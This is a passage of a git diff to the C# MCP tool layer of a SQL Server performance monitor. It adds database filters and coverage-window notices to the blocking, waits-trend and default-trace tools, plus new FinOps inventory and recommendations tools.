@@ -2346,7 +2842,9 @@ the defect the _returned_ names and the truncated/window_truncated split were bo
                 */
                 status_filter = string.IsNullOrWhiteSpace(status) ? null : status.Trim().ToUpperInvariant(),
                 runs = result,
-            }, McpHelpers.JsonOptions);
+            };
+            var json = JsonSerializer.Serialize(payload, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -2485,8 +2983,9 @@ shape does not have to infer it from a null/absent field. */
                 hours_back,
                 run_count = rows.Count,
                 truncated,
-                oldest_returned_collection_time = rows.Min(r => r.Entry.CollectionTime).ToString("o"),
-                newest_returned_collection_time = rows.Max(r => r.Entry.CollectionTime).ToString("o"),
+                /* #4966: where the page's rows stop describes the window it covers, so it prints like effective_start (UTC, with the Z), and so does the newest bound (#5015); the rows' own times stay as the store holds them. */
+                oldest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Min(r => r.Entry.CollectionTime)),
+                newest_returned_collection_time = McpHelpers.FormatEffectiveStart(rows.Max(r => r.Entry.CollectionTime)),
                 order = min_duration_ms is null
                     ? McpHelpers.CollectionLogOrderNewestFirst
                     : McpHelpers.CollectionLogOrderSlowestFirst,
@@ -2503,12 +3002,24 @@ shape does not have to infer it from a null/absent field. */
     }
 
     [McpServerTool(Name = "get_current_waits_trend"), Description("Gets the two Current Waits series over time for a server: waiting-task total wait duration per wait type per collection, and blocked-session counts per database per collection. get_waiting_tasks answers 'what is waiting right now' and can never say whether it is worse than an hour ago — this is that question. Use it to tell a server that is always mildly blocked from one that just started, and to see which database owns the blocking over the window rather than in one snapshot.")]
-    public static async Task<string> GetCurrentWaitsTrend(
+    public static Task<string> GetCurrentWaitsTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 4. No upper bound (this read exists to look further back than the 168-hour reads allow); a negative or zero value is refused rather than read as its absolute value.")] int hours_back = 4,
         [Description("Limit the blocked-session series to one database. Omit for all databases.")] string? database_name = null,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        CancellationToken cancellationToken = default) =>
+        GetCurrentWaitsTrend(postgres, server_name, hours_back, DatabaseFilter.One(database_name), as_of, cancellationToken);
+
+    /// <summary>
+    /// #5244: <see cref="GetCurrentWaitsTrend(NpgsqlDataSource,string,int,string,string,CancellationToken)"/> over a SET of
+    /// databases. The list limits the BLOCKED-SESSION series only (the waiting-task series is per wait type, whole, as the tool's head
+    /// says). The echoed <c>database_name</c> is the name for one database and "the chosen databases" for two or more. The
+    /// both-series-empty answers below name no database: "nothing was waiting" is true of the whole server, because the
+    /// waiting-task series the filter never touches is empty too, so neither text is a verdict about a database the read skipped.
+    /// </summary>
+    internal static async Task<string> GetCurrentWaitsTrend(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, DatabaseFilter databases, string? as_of,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -2530,7 +3041,7 @@ other read carries and take reach away from exactly the read whose premise is lo
 
             var waits = await DarlingDataReader.GetWaitingTaskTrendAsync(postgres, resolved.ServerId, start, end, cancellationToken);
             var blocked = await DarlingDataReader.GetBlockedSessionTrendAsync(
-                postgres, resolved.ServerId, start, end, database_name, cancellationToken);
+                postgres, resolved.ServerId, start, end, databases, cancellationToken);
 
             if (waits.Count == 0 && blocked.Count == 0)
             {
@@ -2559,7 +3070,8 @@ waiting_tasks collector never ran. A caller told all-clear stops looking.
             {
                 server = resolved.ServerName,
                 hours_back = hours_back,
-                database_name,
+                /* #5244: the name for one database, "the chosen databases" for two or more, null for all. */
+                database_name = databases.Describe(),
                 /*
                     Two series in one payload because they are read together: a wait-type spike with no
                     blocked sessions is a resource wait, and the same spike WITH them is contention. Split
@@ -2585,13 +3097,29 @@ across two tools a caller can fetch one and draw the wrong conclusion.
         }
     }
 
-    [McpServerTool(Name = "get_blocking_stats"), Description("Gets blocking SEVERITY over time for a server: per-minute blocking duration (event count, total, max and average wait) and per-minute deadlock severity (victim count plus total, max and average wait across every process in the graphs). get_blocking_trend and get_deadlock_trend count incidents; this is how BAD they were. Ten one-second blocks and one ten-minute block are the same count and are not the same problem, which is the distinction this read exists to make.")]
-    public static async Task<string> GetBlockingStats(
+    [McpServerTool(Name = "get_blocking_stats"), Description("Gets blocking SEVERITY over time for a server: per-minute blocking duration (event count, total, max and average wait) and per-minute deadlock severity (victim count plus total, max and average wait across every process in the graphs). get_blocking_trend and get_deadlock_trend count incidents; this is how BAD they were. Ten one-second blocks and one ten-minute block are the same count and are not the same problem, which is the distinction this read exists to make. The source key names the collector that answered, blocked-process-report or DMV snapshot; the DMV snapshot is used only when the blocked process reports have no rows for the chosen databases, so source can differ between filters.")]
+    public static Task<string> GetBlockingStats(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24. No upper bound (this read exists to look further back than the 168-hour reads allow); a negative or zero value is refused rather than read as its absolute value.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
-        CancellationToken cancellationToken = default)
+        [Description("Limit the blocking series to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetBlockingStats(postgres, server_name, hours_back, DatabaseFilter.One(database_name), as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// #5244: <see cref="GetBlockingStats(NpgsqlDataSource,string,int,string,ILogger,CancellationToken)"/> with the BLOCKING series
+    /// limited to a SET of databases. Deadlocks carry no database column here, so the deadlock series stays whole, and every
+    /// text that speaks of "blocking or deadlocks" says so. Every one-name consumer on the empty path is list-aware: the empty
+    /// answer reads "No blocking for {the chosen databases} and no deadlocks" rather than a verdict that the window was
+    /// genuinely clear for databases the read filtered, and the echoed <c>database_name</c> is the name for one database and
+    /// "the chosen databases" for two or more. The unavailable arm ("never run successfully") is about collection and is
+    /// unchanged: no filtered series can make a collector that never ran look quiet.
+    /// </summary>
+    internal static async Task<string> GetBlockingStats(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, DatabaseFilter databases, string? as_of,
+        ILogger? logger = null, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
@@ -2610,7 +3138,7 @@ other read carries and take reach away from exactly the read whose premise is lo
             var end = windowEnd;
             var start = end.AddHours(-hours_back);
 
-            var blocking = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, resolved.ServerId, start, end, cancellationToken);
+            var blocking = await DarlingDataReader.GetBlockingDurationStatsAsync(postgres, resolved.ServerId, start, end, databases, cancellationToken);
 
             /* Parsed and bucketed by the shared aggregator rather than re-derived here: a second copy of
                "what counts as a victim" is how two surfaces end up disagreeing about one deadlock. */
@@ -2639,19 +3167,47 @@ a false alarm sends someone to fix collection that is working.
                 var everRan =
                     await DarlingBlockingTrendReader.HasAnyBlockingCollectorRunAsync(postgres, resolved.ServerId, cancellationToken)
                     || await DarlingBlockingTrendReader.HasAnyDeadlockCollectorRunAsync(postgres, resolved.ServerId, cancellationToken);
+                var emptyNotice = everRan
+                    ? await BlockingStatsNoticeAsync(postgres, resolved.ServerName, start, end, null, null, emptyAnswer: true, logger, cancellationToken)
+                    : default;
                 return everRan
                     ? McpHelpers.Status(
                         "empty",
-                        $"No blocking or deadlocks recorded for {resolved.ServerName} in the last {hours_back} hour(s). The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind.")
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            /* #5244: with a database filter only the blocking half was limited to it (deadlocks are not
+                               split by database here), so the sentence says exactly that instead of "no blocking". */
+                            factual: databases.IsAll
+                                ? $"No blocking or deadlocks recorded for {resolved.ServerName} in the last {hours_back} hour(s)"
+                                : $"No blocking{DarlingMcpBlockingTools.ForChosenDatabases(databases)} "
+                                  + $"(and no deadlocks, which are not limited by database) recorded for {resolved.ServerName} in the last {hours_back} hour(s)",
+                            coveredClaim: ". The blocking collectors HAVE run successfully for this server, so the window is genuinely clear rather than blind."),
+                        emptyNotice.AsHints())
                     : McpHelpers.Status(
                         "unavailable",
                         $"The blocking collectors have NEVER run successfully for {resolved.ServerName}, so this is NOT a clean bill of health — nothing looked. Blocked-process reports need the XE session running, or the DMV blocking snapshot collector enabled; check those before concluding this server does not block.");
             }
 
-            return JsonSerializer.Serialize(new
+            /* #4966: one notice for two separate series; see BlockingStatsNoticeAsync. */
+            var notice = await BlockingStatsNoticeAsync(
+                postgres, resolved.ServerName, start, end,
+                blocking.Count == 0 ? null : blocking.Min(b => b.Time), deadlocks.Count == 0 ? null : deadlocks.Min(d => d.Time),
+                emptyAnswer: false, logger, cancellationToken);
+
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back = hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                /* #5244: which databases the blocking series is limited to (the deadlock series never is): the name for one,
+                   "the chosen databases" for two or more, null for all. After the three notice keys, which stay right behind
+                   hours_back. */
+                database_name = databases.Describe(),
+                /* #5244: which collector the blocking series came from (null when it has no rows): the blocked-process reports, or the
+                   DMV snapshot when those have no rows for the chosen databases. One source per answer. */
+                source = blocking.Count == 0 ? null : blocking[0].Source,
                 /*
                     Severity, not counts. get_blocking_trend already answers how OFTEN; ten one-second
                     blocks and one ten-minute block share a count and are different problems.
@@ -2674,10 +3230,39 @@ blocks and one ten-minute block share a count and are different problems.
                     avg_wait_ms = Math.Round(d.AvgWaitMs, 0),
                 }),
             }, McpHelpers.JsonOptions);
+
+            /* A failed probe costs the notice, never the rows (see DarlingMcpWindowNotice.ReadAsync). */
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
             return McpHelpers.FormatError("get_blocking_stats", ex);
         }
     }
+
+    /// <summary>
+    /// The window-floor notice of get_blocking_stats (#4966). The answer is two SEPARATE series, so each has its own floor and the
+    /// notice names the LATER of them (the answer is only as complete as its least-covered series; a series with no floor gives way to
+    /// the other). The blocking floor is the earlier of the XE blocked process reports' and the DMV snapshots' coverage, which stand in
+    /// for each other; the deadlock floor is the deadlocks' coverage. Both series window on event time while the probes read
+    /// <c>collection_time</c>, and a first run of a collector can store events from before itself, so each floor also takes the
+    /// earlier of itself and that series' oldest bucket (<paramref name="oldestBlocking"/>, <paramref name="oldestDeadlock"/>), before
+    /// the later is taken.
+    /// </summary>
+    private static Task<McpWindowNotice> BlockingStatsNoticeAsync(
+        NpgsqlDataSource postgres, string serverName, DateTime start, DateTime end, DateTime? oldestBlocking, DateTime? oldestDeadlock,
+        bool emptyAnswer, ILogger? logger, CancellationToken cancellationToken) =>
+        DarlingMcpWindowNotice.ReadAsync(
+            async () =>
+            {
+                var blocking = DarlingMcpWindowNotice.Earlier(
+                    await DarlingMcpWindowNotice.Probe(postgres, BlockingStatsBlockingSources, serverName, start, end, cancellationToken), oldestBlocking);
+                var deadlock = DarlingMcpWindowNotice.Earlier(
+                    await DarlingMcpWindowNotice.Probe(postgres, "deadlocks", serverName, start, end, cancellationToken), oldestDeadlock);
+                return DarlingMcpWindowNotice.Later(blocking, deadlock);
+            },
+            start, end, "blocked_process_reports, dmv_blocking_snapshots and deadlocks", emptyAnswer: emptyAnswer, logger: logger, cancellationToken: cancellationToken);
+
+    private static readonly DataWindowFloor.Source[] BlockingStatsBlockingSources =
+        [DataWindowFloor.Source.ForCollectorTable("blocked_process_reports"), DataWindowFloor.Source.ForCollectorTable("dmv_blocking_snapshots")];
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs
index f4fe3aa778..19a229e61b 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs
@@ -12,9 +12,11 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 #pragma warning disable CA1707 // MCP tools use snake_case naming convention
 
@@ -39,12 +41,33 @@ namespace PerformanceMonitor.Darling.Service.Mcp;
 public sealed class DarlingMcpDefaultTraceTools
 {
     [McpServerTool(Name = "get_default_trace_events"), Description("Gets significant server events from the built-in Default Trace: file auto-grow/shrink stalls over 1 second, ErrorLog writes at severity 16+ (a null severity also counts), schema DDL, security audits, and Server Memory Change, each tagged with category, over an event_time window ending at as_of, newest first. Config-change events are excluded: use get_server_config_changes / get_database_config_changes / get_trace_flag_changes instead. Empty: nothing significant in the window, or nothing collected in it; not_collected means this engine has no default trace (Azure SQL Database). <<GUIDE>> Gets significant server events captured by the built-in Default Trace (stored, read-only): data/log file auto-grow/shrink STALLS (over 1 second), severe ErrorLog writes (severity >= 16), schema DDL (object create/alter/delete), security audits (audit-change / DBCC / alter-trace), and Server Memory Change. Each event is tagged with a category. event_time is UTC here, the same frame as this tool's own as_of, so it lines up directly against get_collection_log's collection_time and list_servers' last_collection (the Default Trace stores its StartTime in the monitored server's local clock; this read de-skews it). NOTE: configuration-change events are intentionally excluded here to avoid double-counting — use get_server_config_changes / get_database_config_changes / get_trace_flag_changes for those. Not available on Azure SQL Database (no default trace there).")]
-    public static async Task<string> GetDefaultTraceEvents(
+    public static Task<string> GetDefaultTraceEvents(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of events to return. Default 100.")] int limit = 100,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null,
+        ILogger? logger = null,
+        CancellationToken cancellationToken = default) =>
+        GetDefaultTraceEvents(postgres, server_name, hours_back, limit, DatabaseFilter.One(database_name), as_of, logger, cancellationToken);
+
+    /// <summary>
+    /// The same read over a SET of databases (#5245). The MCP tool passes <c>DatabaseFilter.One(database_name)</c> (blank is every
+    /// database) and the web route the repeated keys (#5244). The filter is applied in SQL, before the page limit, so the page and
+    /// <c>total_events</c> are the chosen databases' events. An empty answer under a filter says " for the database X" or " for the
+    /// chosen databases" (<see cref="DarlingMcpBlockingTools.ForChosenDatabases"/>, the sentence Lite's twin builds): it is no verdict
+    /// on a database the read did not look at, and the not_collected answer stays the server's own. Every answer shape echoes
+    /// <c>database_name</c> (the name for one database, "the chosen databases" for two or more, null for all).
+    /// </summary>
+    internal static async Task<string> GetDefaultTraceEvents(
+        NpgsqlDataSource postgres,
+        string? server_name,
+        int hours_back,
+        int limit,
+        DatabaseFilter databases,
+        string? as_of,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -56,8 +79,9 @@ public static async Task<string> GetDefaultTraceEvents(
         try
         {
             var now = windowEnd;
+            var windowStart = now.AddHours(-hours_back);
             var all = await DarlingDefaultTraceReader.ReadEventsAsync(
-                postgres, resolved.ServerId, now.AddHours(-hours_back), now, cancellationToken);
+                postgres, resolved.ServerId, windowStart, now, databases, cancellationToken);
 
             /* The significant-set gate (shared with the viewer's System Events surface): every curated
                category is significant as collected, except ErrorLog which must clear the severity floor. */
@@ -65,9 +89,37 @@ public static async Task<string> GetDefaultTraceEvents(
                 .Where(r => DefaultTraceEventSignificance.IsSignificant(r.EventName, r.Severity))
                 .ToList();
 
+            /* #4966: where the store's coverage of the window starts. The reader gives event times already converted from the server's
+               local clock to UTC, while the coverage probe reads collection_time, the collector's own UTC clock, so both sides are UTC.
+               The first collection of a server stores the trace's history, so an event can be older than the coverage: the notice names
+               the earlier of the two (the rule the viewer's Default Trace grid follows). not_collected carries no notice, so it is decided
+               before any probe; an answer with rows over a window of 90 minutes or less starts none. */
+            if (significant.Count == 0)
+            {
+                var notCollected = McpHelpers.WithDatabase(
+                    await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "default_trace_events", cancellationToken),
+                    databases.Describe());
+                if (notCollected is not null)
+                    return notCollected;
+            }
+
+            /* Taken from every significant row, before the page limit applies: the read has no SQL cap, so the store really reaches that
+               event, and the answer's shown / total counts show the page cap. effective_start can name an event the page does not carry. */
+            var earliestShown = significant.Select(e => e.EventTimeUtc).Where(t => t.HasValue).Min();
+            var notice = await DarlingMcpWindowNotice.ReadAsync(
+                async () =>
+                {
+                    var floor = await DarlingMcpWindowNotice.Probe(postgres, "default_trace_events", resolved.ServerName, windowStart, now, cancellationToken);
+                    return floor is DateTime covered && earliestShown is DateTime shown && shown < covered ? shown : floor ?? earliestShown;
+                },
+                windowStart, now, "default_trace_events", emptyAnswer: significant.Count == 0, logger: logger, cancellationToken: cancellationToken);
+
             if (significant.Count == 0)
-                return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "default_trace_events", cancellationToken)
-                    ?? McpHelpers.Status("empty", "No significant default trace events found in the requested time range.");
+                return McpHelpers.StatusForDatabase(
+                    "empty",
+                    $"No significant default trace events found in the requested time range{DarlingMcpBlockingTools.ForChosenDatabases(databases)}.",
+                    databases.Describe(),
+                    notice.AsHints());
 
             var events = significant.Take(limit).Select(r =>
             {
@@ -93,18 +145,23 @@ public static async Task<string> GetDefaultTraceEvents(
                         : (double?)null,
                     error_number = r.ErrorNumber,
                     severity = r.Severity,
-                    text_data = McpHelpers.Truncate(r.TextData, 2000)
+                    text_data = McpHelpers.TruncateStatement(r.TextData, 2000)
                 };
             }).ToList();
 
-            return JsonSerializer.Serialize(new
+            var json = JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                database_name = databases.Describe(),
                 total_events = significant.Count,
                 shown = events.Count,
                 events
             }, McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsInventoryTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsInventoryTools.cs
new file mode 100644
index 0000000000..5b5bf24ed9
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsInventoryTools.cs
@@ -0,0 +1,166 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The FinOps Server Inventory as one fleet-wide MCP tool (#4843): one row per server that has a collected
+/// properties snapshot, with the same figures the desktop viewer's Server Inventory grid shows. Every figure comes
+/// from <see cref="FinOpsInventoryFigures"/> and <see cref="FinOpsUtilizationFigures"/>; this class only shapes them.
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpFinOpsInventoryTools
+{
+    /// <summary>The views <c>get_finops_inventory</c> accepts.</summary>
+    internal static readonly string[] Views = ["server_inventory"];
+
+    internal const int DefaultLimit = 34;
+
+    /// <summary>The short <c>hardware_note</c> an Azure SQL Database row carries; <c>hardware_note_legend</c> spells it out once.</summary>
+    internal const string HostScopedNoteCode = "host_scoped";
+
+    /// <summary>The shared wire options with null fields left out of a row.</summary>
+    internal static readonly JsonSerializerOptions WireOptions = new(McpHelpers.JsonOptions)
+    {
+        DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull,
+    };
+    internal const int MaxLimit = 200;
+
+    private const string InventoryGuide =
+        " server_inventory: health_score 0-100 weights CPU 40%, memory 30% and storage 30%, and is the same score the Utilization view shows for that server (the 24-hour p95 CPU, the buffer pool's share of physical memory, the free share of the latest database sizes), and with no CPU sample in the 24 hours, or no memory sample collected, there is no score (health_score_note says why). health_band is good at 80 and above, fair at 60 and above, else poor. annual_cost_usd is monthly × 12; 0 means no budget is set. license_warning flags Standard edition over 24 CPUs or 128 GB. On Azure SQL Database, memory and sockets are the host's and are null. Times are UTC except sqlserver_start_time_local, the server's own clock. Servers without a collected properties snapshot are not listed. A server that was removed from the configuration is left out of the rows and of total_servers unless include_removed is true. A field with no value is left out of its row. hardware_note host_scoped is spelled out in hardware_note_legend. truncated means total_servers > servers_returned; raise limit (max 200).";
+
+    [McpServerTool(Name = "get_finops_inventory"), Description(
+        "FinOps Server Inventory for the whole fleet: one row per server with a collected properties snapshot. Fixed windows: CPU 24 hours, idle databases 7 days; no server_name, hours_back or as_of. Views: server_inventory. An unknown view is refused with the valid list. <<GUIDE>>" + InventoryGuide)]
+    public static async Task<string> GetFinOpsInventory(
+        NpgsqlDataSource postgres,
+        [Description("Which view to read. Valid: server_inventory.")] string view,
+        [Description("Most servers returned (1-200, default 34).")] int limit = DefaultLimit,
+        [Description("Also list removed servers.")] bool include_removed = false,
+        CancellationToken cancellationToken = default)
+    {
+        /* An abandoned request answers nothing, not even a refusal. */
+        cancellationToken.ThrowIfCancellationRequested();
+        if (string.IsNullOrWhiteSpace(view))
+            return McpHelpers.Refusal("view", $"view is required. Valid views: {string.Join(", ", Views)}.");
+        var normalized = view.Trim().ToLowerInvariant();
+        if (!Views.Contains(normalized))
+            return McpHelpers.Refusal("view", $"Invalid view value '{view}'. Valid views: {string.Join(", ", Views)}.");
+        if (limit < 1 || limit > MaxLimit)
+            return McpHelpers.Refusal("limit", $"Invalid limit value '{limit}'. Must be an integer from 1 to {MaxLimit}.");
+
+        try
+        {
+            var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(postgres, cancellationToken);
+            var inventory = await DarlingFinOpsInventoryReader.GetServerInventoryAsync(
+                postgres, McpCommandDeadlines.ReadSeconds, include_removed, cancellationToken);
+            if (inventory.Count == 0)
+            {
+                return McpHelpers.Status("empty",
+                    include_removed
+                        ? "No registered server has a collected server_properties snapshot yet, so there is no inventory to show."
+                        : "No configured server has a collected server_properties snapshot yet, so there is no inventory to show.");
+            }
+
+            var metrics = await DarlingFinOpsInventoryReader.GetServerMetricsAsync(
+                postgres, rollups, coverage, McpCommandDeadlines.ReadSeconds, cancellationToken: cancellationToken);
+
+            var ordered = inventory
+                .OrderByDescending(s => s.IsEnabled)
+                .ThenBy(s => s.ServerName, StringComparer.Ordinal)
+                .ThenBy(s => s.ServerId)
+                .ToList();
+            return JsonSerializer.Serialize(Envelope(normalized, ordered.Count, ordered.Take(limit).ToList(), metrics), WireOptions);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return McpHelpers.FormatError("get_finops_inventory", ex);
+        }
+    }
+
+    /// <summary>The response envelope for one page of servers; the legend is present only when a row uses the code.</summary>
+    internal static object Envelope(string view, int total, System.Collections.Generic.IReadOnlyList<ServerInventoryDto> page,
+        System.Collections.Generic.IReadOnlyDictionary<int, ServerMetricsDto> metrics)
+    {
+        var rows = page.Select(s => InventoryRow(s, metrics.TryGetValue(s.ServerId, out var overlay) ? overlay : default)).ToList();
+        var legend = page.Any(s => NoteFor(s) == HostScopedNoteCode)
+            ? new System.Collections.Generic.Dictionary<string, string> { [HostScopedNoteCode] = ServerHardwareScope.InventoryHardwareNote }
+            : null;
+        return new
+        {
+            view,
+            cpu_window_hours = 24,
+            idle_window_days = 7,
+            total_servers = total,
+            servers_returned = rows.Count,
+            truncated = total > rows.Count,
+            hardware_note_legend = legend,
+            servers = rows,
+        };
+    }
+
+    /// <summary>One server in the wire shape: snake_case keys, every figure from the Storage helpers, no internal id.</summary>
+    internal static object InventoryRow(ServerInventoryDto s, ServerMetricsDto m)
+    {
+        var note = NoteFor(s);
+        var denied = s.HardwareUnavailableReason != null;
+        var score = m.HealthScore;
+        var annual = FinOpsCost.Annual(s.MonthlyCost);
+        return new
+        {
+            server = s.ServerName,
+            monitoring = s.IsEnabled ? "active" : "stopped",
+            edition = s.Edition,
+            engine_edition = s.EngineEdition,
+            product_version = s.ProductVersion,
+            host_os_version = string.IsNullOrEmpty(s.HostOsVersion) ? null : s.HostOsVersion,
+            cpu_count = denied ? (int?)null : s.CpuCount,
+            physical_memory_mb = denied ? null : FinOpsInventoryFigures.PhysicalMemoryMb(s.EngineEdition, s.PhysicalMemoryMb),
+            socket_count = denied ? null : FinOpsInventoryFigures.SocketCount(s.EngineEdition, s.SocketCount),
+            cores_per_socket = denied ? null : FinOpsInventoryFigures.CoresPerSocket(s.EngineEdition, s.CoresPerSocket),
+            hardware_note = note,
+            provisioning_status = m.ProvisioningStatus,
+            avg_cpu_pct = m.AvgCpuPct is decimal cpu ? Math.Round(cpu, 1, MidpointRounding.AwayFromZero) : (decimal?)null,
+            storage_total_gb = m.StorageTotalGb is decimal gb ? Math.Round(gb, 1, MidpointRounding.AwayFromZero) : (decimal?)null,
+            idle_db_count = m.IdleDbCount,
+            health_score = score,
+            health_band = score is int scoreValue ? FinOpsUtilizationFigures.HealthBand(scoreValue) : null,
+            health_score_note = score is null ? FinOpsHealthCalculator.NoInventoryScoreNote : null,
+            monthly_cost_usd = s.MonthlyCost,
+            annual_cost_usd = annual,
+            license_warning = FinOpsInventoryFigures.LicenseWarning(s.Edition, s.EngineEdition, s.CpuCount, s.PhysicalMemoryMb),
+            is_hadr_enabled = s.IsHadrEnabled,
+            is_clustered = s.IsClustered,
+            ag_replica_role = s.AgReplicaRole,
+            sqlserver_start_time_local = s.SqlServerStartTime is DateTime start
+                ? start.ToString("yyyy-MM-ddTHH:mm:ss", CultureInfo.InvariantCulture) : null,
+            inventory_as_of = Utc(s.InventoryAsOfUtc),
+            last_collected = Utc(s.LastCollectedUtc),
+        };
+    }
+
+    /// <summary>The reader's own note, else the short host-scoped code, else null.</summary>
+    private static string? NoteFor(ServerInventoryDto s) =>
+        s.HardwareUnavailableReason ?? (FinOpsInventoryFigures.HardwareNote(s.EngineEdition, null) != null ? HostScopedNoteCode : null);
+
+    private static string? Utc(DateTime? t) => t is DateTime v
+        ? DateTime.SpecifyKind(v, DateTimeKind.Utc).ToString("yyyy-MM-ddTHH:mm:ssZ", CultureInfo.InvariantCulture)
+        : null;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsRecommendationsTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsRecommendationsTools.cs
new file mode 100644
index 0000000000..332e86db7e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsRecommendationsTools.cs
@@ -0,0 +1,124 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Analysis;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The FinOps Recommendations list for one server as an MCP tool (#4843): the same findings, in the same order, as
+/// the desktop viewer's Recommendations tab. Every finding comes from
+/// <see cref="DarlingFinOpsRecommendationsReader.GetRecommendationsAsync"/>; this class only shapes them.
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpFinOpsRecommendationsTools
+{
+    private const string RecommendationsGuide =
+        " est_savings_usd_month is a rough monthly USD estimate rounded to cents; null when the check gives none or no monthly cost is set (monthly_cost_usd null, cost_reason 'monthly cost not set'). severity and confidence are High, Medium or Low. finding and detail are English text with numbers in invariant format (1,234.5; a percent reads '20 %'). skipped_checks names each check whose read failed: its rows are absent, not clean. An empty recommendations list with no skipped_checks means no check found anything. secondary_replica_note is null unless this server holds a secondary copy of some database in an availability group, and then names how many were left out: idle, dev/test, TDE and compression findings leave those databases out (the primary reports them), and the low IO latency finding keeps them.";
+
+    [McpServerTool(Name = "get_finops_recommendations"), Description(
+        "FinOps recommendations for one server: the cost and right-sizing findings the desktop Recommendations tab shows, High severity first. Mixed fixed windows ending now (CPU 24 hours and 7 days; memory, jobs and file I/O 7 days; edition and database facts from the latest snapshot); UTC; no hours_back, limit or as_of. At most about 21 rows. <<GUIDE>>" + RecommendationsGuide)]
+    public static async Task<string> GetFinOpsRecommendations(
+        NpgsqlDataSource postgres,
+        [Description("Server name or display name.")] string? server_name = null,
+        CancellationToken cancellationToken = default)
+    {
+        try
+        {
+            var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
+            if (error != null) return error;
+
